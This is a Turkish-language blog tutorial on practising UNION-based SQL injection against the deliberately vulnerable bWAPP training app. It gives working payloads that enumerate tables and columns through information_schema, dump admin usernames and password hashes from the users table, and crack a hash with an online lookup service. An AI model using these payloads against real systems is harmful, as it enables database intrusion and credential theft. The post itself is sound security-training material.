1. Ana Sayfa
  2. Siber Güvenlik
  3. bWAPP SQL Injection (GET/Search) Low Level

bWAPP SQL Injection (GET/Search) Low Level

freddyart-bee-tux

bWAPP SQL Injection (GET/Search) Low Level-Daha önce bWAPP kurulumundan ve UNION method ile SQLi bulmaktan bahsetmiştim. Bugün bWAPP üzerinde UNION method ile SQLi pratiği yapacağız.

Login sayfasına gelip “low level” i seçiyoruz ve default olarak gelen “bee” kullanıcı adı ve “bug” parolası ile login olduktan sonra karşımıza zafiyet seçmemiz için bir liste geliyor. Bu liste içerisinden “SQL Injection (GET/Search)” ı seçiyor ve “hack” butonuna tıklıyoruz.

Sqli Exploration Aşaması

Karşımıza film araması yapabileceğimiz bir search bar çıkıyor. “man” yazıp arama yaptığımız zaman , aramamızın bir başlık değeri içerisinde verildiğini görüyoruz.

Görüldüğü gibi sitenin bize döndürdüğü filmlerin içerisinde “man” kelimesi olan filmleri döndürdü. Buradan yola çıkarak arka planda çalışan sorgunun :

 "Select col1,col2,col3 from mytable where movie LIKE '%". $userinput ."%'"

biçiminde olduğunu tahmin edebiliriz.

Eğer tahminimiz doğru ve form üzerinde bir koruma işlemi yoksa tek bir tırnak atmamız sorgunun yanlış çalışmasına neden olacaktır.

” iron’ ” sorgusunu çalıştırmaya çalışan sistem aşağıdaki gibi hata verecektir.

Bu hatayı almamız form üzerinde kullanıcı sorgularının denetlenmeden direkt olarak Sql sorgusu içerisine dahil edildiğini anlıyoruz.

Bu aşama bizim için bi nevi POC olmuş oluyor aynı zamanda. Bu adımdan itibaren tamamen Union method ile devam edebiliriz.


Explotation Aşaması

SQLi UNION Method üzerinde detaylı biçimde durduğumuz için burada kolon sayıları için denemelerimi atlıyor olacağım.

Search kısmına

iron' 
union 
select 1,2,3,4,5,6,7#

sorgusunu verdiğimizde bize aşağıdaki gibi bir sonuç dönecektir.

Bu sonuçtan 2,3,5 ve 4. olarak belirttiğim kolonlar üzerinden veri çekebilirim. Öncelikle hedefim tablo isimlerini öğrenmek ve işimize yarayacağını düşündüğümüz tabloları tespit etmek olacak.

Tabloları listelemek için :

iron' 
union
select 1,table_name,3,4,5,6,7 from information_schema.tables where table_schema=database() # 

sorgusunu kullanıyoruz.

Burada hedefimiz “users” tablosu olacaktır. Users tablosunun kolonlarını listelemek için :

iron' 
union
select 1,column_name,3,4,5,6,7 from information_schema.columns where table_name='users' # 

sorgusunu kullanıyoruz.

Kolon isimleri içerisinden “admin” ve “password” aradığımız bilgiler. Bilgileri çekmek için :

iron'
union
select 1,concat(admin,(":YG:"),password),3,4,5,6,7 from users #

sorgusunu kullanıyoruz. Aşağıdaki gibi bir çıktı elde ediyoruz.

sqli explotation

Parola bilgisinin hash’lendiğini görüyoruz. hash-analyzer ile hash tipini belirleyip parolayı elde etmeye çalışalım.

https://md5decrypt.net/en/Sha1/ adresinden elde ettiğimiz hash bilgisini decode edelim.

Bu işlemden sonra parolamızın “bug” olduğunu öğreniyoruz.

Yorum Yap

Yorum Yap